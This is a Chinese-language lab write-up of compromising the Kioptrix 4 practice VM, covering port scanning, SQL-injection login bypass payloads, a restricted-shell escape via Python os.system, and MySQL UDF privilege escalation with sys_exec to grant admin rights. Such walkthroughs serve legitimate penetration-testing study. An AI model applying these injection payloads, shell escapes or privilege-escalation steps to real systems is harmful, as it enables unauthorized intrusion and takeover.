一、信息收集
1、ok,我们第一步还是信息收集,先把靶机ip扫出来
arp-scan -l
扫靶机

这几个靶机ip还按顺序来的,如果同一台主机连续安装打开靶机,ip是连着的,但还是要扫描确认一下。
2、指纹扫描
我们扫描靶机开启的服务已经版本信息
nmap -p- -sV -A 192.168.122.193
nmap -sS -sV 192.168.122.193
whatweb -v 192.168.122.193
老传统,还是习惯把端口服务信息都列出来,比较清晰
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
这里一个22端口ssh4.7p1
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
这里一个Apache httpd 2.2.8,PHP5.2.4
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
samba3.x-4.x
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
smbd 3.0.28a
linux_kernel:2.6
二、尝试提权
3、按顺序动手,还是从80端口开始吧,估计有页面啥。
目录扫描:dirb和dirsearch也别闲着,在后台扫着

这里思路有点乱了,后台忘挂了dirb导致我顺着nmap和dirsearch去做,大家不要和我一样犯错。

然后这里也是扫到了一个john的用户
Ⅰ、80端口:

一个登录页面,弱口令和sql注入试一试,这种通常能进去,但是失败了,这下面有一行小字,翻译一下这个东西。
admin' and 1=1--+
万能语法
![]()
Ⅱ、登录信息
估计有什么相关服务,一会儿找一下

这里dirsearch也是扫完了,我们看一看这些文件

这里是一个数据库

这里又扫到了之前遭受过dos攻击

nmap --script=vuln 192.168.122.193
nikto -h 192.168.122.193
enum4linux 192.168.122.193
searchsploit samba 3
漏洞扫描
模糊测试
wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/big.txt --hc 404 http://192.168.12.193/FUZZ
模糊测试

这里也是学到了新的方法,模糊测试好像是能测出两个用户名

1‘or'1'='1
万能密码
没有什么思路的情况了我们扫描一下历史漏洞,这里也是发现了一个dos漏洞,我们查找了一下这个漏洞信息,很贴心的附上了教程。不过在之前我们找到了一张sql登录的表格,后来是看了一篇大佬文章,用户名是我们扫出来的john,密码是万能密码,涨姿势了,密码输入万能密码是我第一次这样操作。


到这一步两个账户和密码我们都得到了
Ⅲ、ssh登录
ssh -o HostKeyAlgorithms=ssh-rsa robert@192.168.122.193
这里直接使用ssh连接会失败,需要加上中间的参数即可

这两个账户我们都可以登录但是不能执行太多命令
通过使用命令echo os.system(‘/bin/bash’)轻松地“转义”并绕过有限制的shell。
这命令其实是用Python的os.system 函数调/bin/bash。但为啥能跑?因为有些限制Shell(比如rbash)没管住Python解释器,直接把你输入的这串字符当代码执行了,相当于你对着系统喊:“给爷开个后门!”系统还真开了! 然后‘/bin/bash’这段代码就是让系统给你开个新Bash Shell权限。这个也就是shell逃逸、权限逃逸。

我们信息收集一下,内核等

这里也是收集到了
Ⅳ、udf提权
ps -ef | grep root
这条代码也是收集哪些可以使用root权限

这里找到了登录mysql不需要密码,root即可登录

mysql的udf提权,利用 sys_exec()函数将john用户添加到管理员组。
udf提权前提: 1、secure_file_priv 必须为空 2、账号 且要拥有 create insert delete权限
john@Kioptrix4:/var/www$ whereis lib_mysqludf_sys.so
lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
查询 UDF(用户自定义函数)库位置,确保存在该数据库
mysql -h localhost -u root -p
是连接本地MySQL的基础命令,用于以 root 用户身份登录数据库,需手动输入密码
select sys_exec('usermod -a -G admin john');
sys_exec 是 MySQL 用户自定义函数(UDF),用于在数据库层面直接调用操作系统命令。
usermod -a -G admin john:将用户 john 添加到 admin 用户组(不删除原有组)
我们用john和其对应密码就能使用root权限了。直接输入sudo su可以不用输入密码

总结:这里我一直避免使用SQLmap,因为oscp考试不允许使用pro、sqlmap这类工具,更希望我们手工注入,sql注入这一块还得再学,做这道题也是磕磕绊绊,这里的udf提权、shell逃逸都是新知识,原shell过滤了很多,pwd、ls都无法使用,但是留了一个echo,我们就可以使用echo os.system(‘/bin/bash’)语法来shell逃逸、让我们新建一个完整shell,根据我查的资料,/bin/bash负责我们的ls等基础语法,下次没过滤python语法可以直接尝试尝试。 ps -ef | grep root这里也有一个root权限可以使用的服务也算是一个提示。
后续我也会出更多打靶文章,希望大家关注!谢谢。

3万+

被折叠的 条评论
为什么被折叠?



